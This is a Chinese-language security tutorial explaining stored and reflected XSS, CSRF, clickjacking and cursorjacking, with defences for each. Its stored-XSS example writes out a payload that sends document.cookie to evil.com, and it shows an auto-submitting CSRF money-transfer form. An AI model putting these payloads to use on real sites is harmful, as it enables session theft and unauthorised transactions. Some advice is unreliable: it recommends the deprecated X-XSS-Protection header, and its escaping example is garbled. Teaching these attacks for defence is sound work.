• XSS and UI attack
  • XSS attack（跨站脚本攻击）？
    • 1. 存储型 XSS（Stored XSS）
      • 定义：
      • 攻击流程：
      • 例子：
      • 漏洞示例代码：
    • 2. 反射型 XSS（Reflected XSS）
      • 定义：
      • 攻击流程：
      • 例子：
      • 漏洞示例代码：
    • 3.存储型 XSS 和 反射型 XSS 的区别
    • 4.反射型 XSS（Reflected XSS） 和 **CSRF（Cross-Site Request Forgery，跨站请求伪造）**的区别
      • 反射型 XSS（Reflected XSS）
        • 定义：
        • 攻击流程：
        • 典型场景：
        • 示例：
        • 防御方法：
      • CSRF（Cross-Site Request Forgery，跨站请求伪造）
        • 定义：
        • 攻击流程：
        • 典型场景：
        • 示例：
        • 防御方法：
      • 反射性 XSS 和 CSRF 的区别
    • 5.如何防止 XSS 攻击？
  • UI attack
    • Clickjacking（点击劫持）
      • 定义：
      • 攻击流程：
      • 攻击示例：
      • 防御方法：
    • Cursorjacking（光标劫持）
      • 定义：
      • 攻击流程：
      • 攻击示例：
      • 防御方法：
    • Clickjacking 和 Cursorjacking 的区别
    • 总结：

XSS and UI attack

XSS attack（跨站脚本攻击）？

XSS（Cross-Site Scripting） 是一种常见的网络安全漏洞，攻击者通过在网页中注入恶意的 JavaScript 代码，使得受害者在浏览网页时不知不觉地执行恶意脚本，从而达到窃取用户信息、篡改网页内容、实施钓鱼攻击等目的。

XSS 漏洞通常发生在 Web 应用程序没有对用户输入进行有效的验证和过滤时，攻击者可以通过网页的输入框、URL 参数或其他用户交互的方式将恶意脚本注入到页面中。

XSS 分为 存储型 XSS（Stored XSS） 和 反射型 XSS（Reflected XSS） 两种常见类型，它们的区别在于攻击脚本的存储和传播方式不同。

---

1. 存储型 XSS（Stored XSS）

定义：

存储型 XSS 是指恶意脚本被存储在服务器端（如数据库、日志文件等）并随着网页内容的加载返回给用户。当用户访问该网页时，存储在服务器上的恶意脚本会在浏览器中执行。

攻击流程：

1. 攻击者将恶意的 JavaScript 代码提交到 Web 应用的输入表单中（如评论、留言板等）。
2. 服务器没有进行有效的输入验证和过滤，直接将这段恶意代码存储在数据库或日志中。
3. 当其他用户访问包含该恶意代码的页面时，浏览器自动执行这段恶意脚本。

例子：

假设某个论坛网站的评论系统存在存储型 XSS 漏洞，攻击者可以在评论框中输入以下代码：

<script>alert('你的账户已被黑客入侵！');</script>

这段代码会被存储在服务器的数据库中。当其他用户查看这个帖子时，浏览器会自动执行这段脚本，弹出提示框。虽然这只是一个简单的例子，攻击者也可以通过类似的方式窃取用户的 cookie 或重定向到钓鱼网站。

漏洞示例代码：

• 攻击者提交的评论：

<script>
  fetch('http://evil.com/steal?cookie=' + document.cookie);
</script>

• 服务器存储并返回的评论内容（未过滤）：

<div>
  <p>User: John</p>
  <p>Comment: <script>fetch('http://evil.com/steal?cookie=' + document.cookie);</script></p>
</div>

• 其他用户查看评论时，浏览器会执行该脚本，将目标用户的 cookies 发送到攻击者指定的恶意服务器。

---

2. 反射型 XSS（Reflected XSS）

定义：

反射型 XSS 是指恶意脚本通过用户的请求被即时反射到网页中，攻击脚本并未存储在服务器上。通常这种攻击方式通过在 URL、查询参数或表单中嵌入恶意代码，受害者点击恶意链接后，浏览器执行其中的恶意脚本。

攻击流程：

1. 攻击者构造一个包含恶意脚本的 URL（例如，利用 URL 参数传递恶意代码）。
2. 当受害者点击该 URL 或访问包含恶意参数的网页时，Web 应用会将恶意代码反射到页面中，并在浏览器中执行。

例子：

假设一个网站存在反射型 XSS 漏洞，攻击者可以构造如下链接：

http://example.com/search?q=<script>alert('XSS Attack!');</script>

当受害者点击该链接时，网页会返回带有 q 参数的内容，并在页面中显示这个参数内容。如果没有对输入进行有效的过滤，浏览器会将其中的 <script> 标签当作 JavaScript 代码执行，弹出提示框。

漏洞示例代码：

• 服务器返回的页面：

<h1>Search Results</h1>
<p>You searched for: <script> alert('XSS Attack!'); </script></p>

• 该脚本在受害者的浏览器中立即执行，导致浏览器弹出警告框或进行更复杂的攻击。

---

3.存储型 XSS 和 反射型 XSS 的区别

类型	存储方式	触发方式	常见场景
存储型 XSS	恶意脚本存储在服务器端（数据库、日志等）	当用户访问包含恶意代码的页面时触发	评论、论坛、消息、聊天系统
反射型 XSS	恶意脚本存储在 URL 或请求参数中	用户点击恶意链接或访问特定 URL 时触发	搜索框、URL 参数、电子邮件链接

4.反射型 XSS（Reflected XSS） 和 **CSRF（Cross-Site Request Forgery，跨站请求伪造）**的区别

反射型 XSS（Reflected XSS）

定义：

反射性 XSS 是指攻击者通过构造恶意的 URL，将恶意脚本注入到 URL 参数或请求中，并借助服务器的响应将这些恶意代码反射回页面。当受害者点击包含恶意脚本的链接时，浏览器会执行这段恶意脚本。

攻击流程：

1. 攻击者构造一个包含恶意代码的 URL 或请求，例如通过 URL 参数传递 JavaScript 代码。
2. 当受害者点击该链接时，Web 应用会将该恶意代码反射到网页中，浏览器解析并执行这段脚本。
3. 攻击者可以通过该脚本窃取用户的 Cookie、会话信息，或者进行其他恶意操作。

典型场景：

• 用户输入没有经过验证的查询参数，页面将其直接输出（如搜索框、URL 参数等）。
• 攻击者通过社会工程学诱使用户点击包含恶意脚本的 URL。

示例：

攻击者构造以下 URL：

http://example.com/search?q=<script>alert('XSS')</script>

当受害者点击该链接时，q 参数中的恶意脚本被反射到页面，执行 alert('XSS')，弹出一个警告框。

防御方法：

• 对用户输入进行严格验证和输出编码，确保 HTML 标签和 JavaScript 不会被执行。
• 使用内容安全策略（CSP）来限制可执行的脚本来源。
• 设置正确的 HTTP 响应头（如 X-XSS-Protection）以启用浏览器的 XSS 过滤器。

CSRF（Cross-Site Request Forgery，跨站请求伪造）

定义：

CSRF 是一种通过伪造用户请求来执行不受用户同意的操作的攻击方式。攻击者利用用户的身份和授权（通常是通过用户的 Cookie 或认证信息）发送恶意请求，从而执行某些操作，用户对此毫不知情。

攻击流程：

1. 攻击者诱使已登录的用户访问某个恶意网站或链接（通常是通过社交工程、钓鱼邮件等手段）。
2. 恶意网站会自动生成一个请求，伪装成合法的请求，并利用用户浏览器中有效的 Cookie 或身份信息发送给目标网站。
3. 如果目标网站没有进行有效的身份验证保护（如 CSRF Token），那么这个伪造的请求会被服务器当作合法请求处理，执行相应的操作（如转账、修改密码等）。

典型场景：

• 用户在网站 A 登录后，攻击者诱使其访问网站 B，而网站 B 会向网站 A 发起恶意请求，利用 A 网站的认证信息（例如 Cookie）执行某些操作。

示例：

假设网站 A 允许用户转账，且用户已经登录，具有合法的 Cookie。攻击者通过发送以下 HTML 表单来伪造转账请求：

<form action="https://www.example.com/transfer" method="POST">
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="recipient" value="attacker_account">
    <input type="submit" value="Transfer">
</form>
<script>
    document.forms[0].submit();  // 自动提交表单
</script>

当用户点击某个恶意链接或访问恶意网页时，这段表单会自动提交，导致用户账户的资金被转账到攻击者的账户。

防御方法：

• 使用 CSRF Token（跨站请求伪造令牌）：每次提交表单时，都要求生成一个唯一的 CSRF Token，并且在后台验证该 Token，防止伪造请求。
• 检查 Referer 头：可以验证请求是否来自合法的来源。
• 使用 SameSite Cookie 属性：防止跨站点请求中发送 Cookie。

---

反射性 XSS 和 CSRF 的区别

特征	反射性 XSS	CSRF
攻击目标	通过执行恶意 JavaScript 代码，窃取用户信息、会话等。	利用用户已登录的状态发起未经授权的操作。
攻击方式	利用恶意链接，注入 JavaScript 代码，并反射到用户的页面中。	利用用户的认证信息（如 Cookie），伪造请求发送到服务器。
受害对象	攻击对象是浏览器，攻击者的代码会在用户浏览器中执行。	攻击对象是服务器，伪造的请求会在服务器执行非法操作。
需要的条件	用户点击恶意链接或访问包含恶意代码的页面。	用户已经登录目标网站，且攻击者通过诱导用户访问恶意网站。
防御方法	输入验证、输出编码、CSP、X-XSS-Protection。	CSRF Token、验证 Referer 头、SameSite Cookie。
攻击类型	执行脚本代码、窃取信息、篡改网页内容等。	伪造请求、执行未经授权的操作（如资金转账、密码修改等）。

5.如何防止 XSS 攻击？

1. 输入验证与输出编码：

   • 对所有用户输入进行严格的验证，尤其是对 HTML 和 JavaScript 代码进行编码。可以使用 HTML 编码（如 < 编码为 <）来阻止浏览器解释恶意脚本。

2. 使用 CSP（内容安全策略）：

   • 配置内容安全策略（CSP），限制哪些资源可以被加载，防止外部脚本的执行。

3. 使用 HTTP-only 和 Secure 标志设置 Cookie：

   • 设置 Cookie 的 HTTPOnly 属性，使得 JavaScript 无法访问敏感的 Cookie。

4. 正确配置 HTTP 头：

   • 使用 HTTP 响应头 X-XSS-Protection: 1; mode=block，开启浏览器的 XSS 过滤器。

5. 避免直接执行用户输入：

   • 尽量避免在 JavaScript 中直接插入未经处理的用户输入，尤其是用于动态生成 HTML 元素时。
   • 过滤或转义危险字符，如 <, >, &, ", ', , / 等。示例：将 < 替换为 <，> 替换为 >。

XSS 攻击在 Web 开发中十分常见，开发者需要确保用户输入被正确验证和过滤，避免不安全的代码执行，保障用户的安全。

UI attack

Clickjacking（点击劫持）

定义：

Clickjacking（点击劫持）是一种欺骗用户的攻击方式，攻击者将透明的页面层叠加到用户可以看到的网页元素之上，诱使用户点击实际不可见的按钮、链接或表单，而这些操作实际上是由攻击者控制的。这使得用户执行一些他们并未意识到的操作，例如提交表单、点击按钮或执行其他敏感操作。

攻击流程：

1. 创建恶意页面：攻击者创建一个页面，将一个透明的 <iframe> 嵌入到该页面中，嵌入的页面包含一个隐藏的、可点击的内容（如按钮、链接或表单）。
2. 诱使用户点击：攻击者通过诱导用户点击该页面（比如通过钓鱼邮件、社交媒体链接等），用户以为自己点击的是正常的按钮或链接。
3. 执行恶意操作：实际上，用户的点击操作会触发 <iframe> 中的不可见元素，从而执行恶意操作，比如提交表单、修改设置、转账等。

攻击示例：

假设一个用户正在登录银行网站，攻击者通过社交工程学（比如通过钓鱼邮件）诱使用户点击一个链接。攻击者页面看起来很正常，但实际情况是，页面中的一个透明 <iframe> 层叠到了银行网站的登录按钮上。这个 <iframe> 中可能包含一个恶意页面，伪装成用户可以点击的内容。

• 用户看到的是：

  <button>点击获取优惠</button>
  

• 实际上，这个按钮被 <iframe> 覆盖，用户点击的是 <iframe> 中的某个隐藏按钮，执行的是银行的资金转账操作。

防御方法：

1. X-Frame-Options：通过设置 HTTP 响应头 X-Frame-Options: DENY 或 SAMEORIGIN，禁止网页被嵌入到 <iframe> 中。
2. Content Security Policy (CSP)：通过 CSP 设置 frame-ancestors 指令来指定允许哪些域嵌套当前页面。
3. JavaScript 防护：可以使用 JavaScript 检测当前页面是否被嵌套在 <iframe> 中，如果是，自动退出或警告用户。

---

Cursorjacking（光标劫持）

定义：

Cursorjacking（光标劫持）是一种通过修改用户光标行为的攻击方式。攻击者可以利用 CSS 和 JavaScript 动态改变网页中光标的位置或外观，使得用户的点击看起来是在一个位置，实际上却是在另一个位置。此类攻击常通过欺骗用户点击不可见的、受控区域，从而操纵用户的点击行为，进而导致某些操作的执行。

攻击流程：

1. 劫持光标：攻击者通过修改页面上的光标样式或者通过 JavaScript 动态改变光标位置，欺骗用户认为他们正在点击一个按钮或链接。
2. 欺骗用户行为：当用户点击页面时，实际上他们点击的是一个不可见的目标，而非他们认为的目标。攻击者可以将光标放置在页面上可见的区域，但实质上，点击事件会被发送到一个完全不同的地方。
3. 执行恶意操作：这种点击行为可以被用来触发一些不希望发生的操作，例如提交表单、触发恶意脚本等。

攻击示例：

假设攻击者制作了一个页面，伪装成一个正常的网页，显示出一个看似可以点击的按钮，但是当用户将光标移到按钮上时，攻击者通过 JavaScript 修改了光标的位置，导致用户实际上点击了另一个完全不同的位置。

• 用户看到的是：

  <button>点击下载</button>
  

• 然而，攻击者通过 JavaScript 动态地改变光标的位置，使得用户在点击按钮时，实际上点击了页面上的其他地方（比如一个隐藏的链接或表单提交按钮）。

防御方法：

1. 禁止自定义光标样式：不允许网页修改光标的样式或位置，确保光标行为的自然性。
2. 验证用户操作的有效性：对于敏感操作（如提交表单、执行购买等），要求用户再次确认或使用双重验证来减少误操作。
3. 避免使用过度的 JavaScript 动态控制：减少 JavaScript 对用户界面行为（如光标控制）的干预，避免出现不必要的欺骗性用户界面。

---

Clickjacking 和 Cursorjacking 的区别

特征	Clickjacking	Cursorjacking
攻击目标	欺骗用户点击不可见或透明的内容，触发恶意操作。	欺骗用户点击与光标位置不一致的区域，触发恶意操作。
攻击方式	使用透明的 <iframe> 将页面元素叠加在一起，诱导用户点击。	通过 JavaScript 或 CSS 动态修改光标的位置或样式，误导用户。
触发方式	用户点击看似正常的按钮或链接，实际上是被 <iframe> 隐藏的内容。	用户以为他们点击的是一个正常的目标，但光标实际上被劫持。
常见应用场景	页面中的透明元素覆盖真实的可点击区域，常用于钓鱼攻击。	通过修改光标行为，使得点击看似发生在一个地方，实际上发生在另一个地方。
防御措施	设置 X-Frame-Options 和 Content Security Policy，避免页面嵌套。	禁用自定义光标样式，确保光标位置的自然性，避免动态干预。

---

总结：

• Clickjacking 是通过将透明的 <iframe> 层叠到网页的正常内容上，欺骗用户点击不可见的元素来执行恶意操作，防御方法包括 X-Frame-Options 和 CSP。
• Cursorjacking 是通过修改用户的光标位置或样式，使得用户点击时不在他们认为的地方，防御方法包括避免自定义光标和加强对操作的验证。

这两种攻击都利用了用户界面和行为的欺骗，目标都是在不知情的情况下触发一些用户本不会执行的操作。